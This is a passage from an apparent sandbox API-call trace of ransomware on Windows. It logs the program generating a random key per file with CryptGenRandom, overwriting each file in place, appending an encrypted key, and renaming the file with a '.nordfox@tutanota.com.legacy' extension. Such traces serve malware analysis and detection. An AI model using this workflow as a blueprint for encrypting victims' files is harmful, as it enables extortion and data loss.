dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.879] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.880] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.880] CloseHandle (hObject=0x1830) returned 1 [0171.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0171.880] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\48e36ea402583c8b7af4fd5638e7fe884397e8541fb6a67229ee1c2bca0685f7.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.881] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4488 | out: hHeap=0x520000) returned 1 [0171.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619ae0 | out: hHeap=0x520000) returned 1 [0171.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619db0 | out: hHeap=0x520000) returned 1 [0171.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x6196a8 [0171.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0171.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.882] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0171.882] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f", dwFileAttributes=0x80) returned 1 [0171.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619ae0 [0171.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0171.882] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619ae0 | out: hHeap=0x520000) returned 1 [0171.882] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.883] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=526) returned 1 [0171.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0171.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b48d8 [0171.883] ReadFile (in: hFile=0x1830, lpBuffer=0x33b4d28, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4d28*, lpNumberOfBytesRead=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0171.891] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.891] WriteFile (in: hFile=0x1830, lpBuffer=0x33b48d8*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b48d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0171.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0171.891] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b48d8 | out: hHeap=0x520000) returned 1 [0171.891] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20e [0171.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.892] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.892] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.892] CloseHandle (hObject=0x1830) returned 1 [0171.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0171.892] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4841a6140b81b4fd8c2d17467c5ae98ba69a83ae10b7b18a863981c5e049b10f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0171.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6196a8 | out: hHeap=0x520000) returned 1 [0171.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619540 | out: hHeap=0x520000) returned 1 [0171.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x6196a8 [0171.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0171.924] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.924] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0171.924] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798", dwFileAttributes=0x80) returned 1 [0171.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x61a1e8 [0171.925] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0171.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a1e8 | out: hHeap=0x520000) returned 1 [0171.925] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.925] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2185) returned 1 [0171.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x889) returned 0x2f74cc0 [0171.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x889) returned 0x33b6018 [0171.926] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x889, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x889, lpOverlapped=0x0) returned 1 [0171.933] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-2185, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.933] WriteFile (in: hFile=0x1830, lpBuffer=0x33b6018*, nNumberOfBytesToWrite=0x889, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x889, lpOverlapped=0x0) returned 1 [0171.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0171.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.933] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x889 [0171.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.934] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.934] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.934] CloseHandle (hObject=0x1830) returned 1 [0171.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0171.934] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\43399e8cfdc9ac47fc0bf385b3669ecf51181c3785d40e4dbcdd127b6c51a798.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b46b0 | out: hHeap=0x520000) returned 1 [0171.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6196a8 | out: hHeap=0x520000) returned 1 [0171.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6193d8 | out: hHeap=0x520000) returned 1 [0171.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x61a1e8 [0171.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.936] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856", dwFileAttributes=0x80) returned 1 [0171.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x619978 [0171.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0171.937] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619978 | out: hHeap=0x520000) returned 1 [0171.937] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.937] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18276) returned 1 [0171.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4764) returned 0x30d1028 [0171.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4764) returned 0x30d5798 [0171.937] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4764, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4764, lpOverlapped=0x0) returned 1 [0171.939] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-18276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.939] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5798*, nNumberOfBytesToWrite=0x4764, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4764, lpOverlapped=0x0) returned 1 [0171.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5798 | out: hHeap=0x520000) returned 1 [0171.939] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4764 [0171.939] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.939] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.939] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.940] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.940] CloseHandle (hObject=0x1830) returned 1 [0171.940] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.940] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.940] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\40e35bfa16fc9c4d47b66bb7f0542fd2fc1e1f8302dd134e8b224007a55b2856.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0171.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a1e8 | out: hHeap=0x520000) returned 1 [0171.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619c48 | out: hHeap=0x520000) returned 1 [0171.942] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x6196a8 [0171.942] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0171.942] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0171.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.942] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd", dwFileAttributes=0x80) returned 1 [0171.942] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x6193d8 [0171.943] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0171.943] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6193d8 | out: hHeap=0x520000) returned 1 [0171.943] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.943] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=526) returned 1 [0171.943] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0171.943] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b53a0 [0171.943] ReadFile (in: hFile=0x1830, lpBuffer=0x33b4d28, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b4d28*, lpNumberOfBytesRead=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0171.949] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.950] WriteFile (in: hFile=0x1830, lpBuffer=0x33b53a0*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20e, lpOverlapped=0x0) returned 1 [0171.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0171.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b53a0 | out: hHeap=0x520000) returned 1 [0171.950] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20e [0171.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.950] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.950] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.950] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.950] CloseHandle (hObject=0x1830) returned 1 [0171.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0171.950] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.950] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\4077b637843d9902fd302e3fe9333fa7c251b45a6a75dea6237455d31fc6e2dd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0171.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6196a8 | out: hHeap=0x520000) returned 1 [0171.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619270 | out: hHeap=0x520000) returned 1 [0171.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618b68 [0171.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0171.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0171.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0171.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 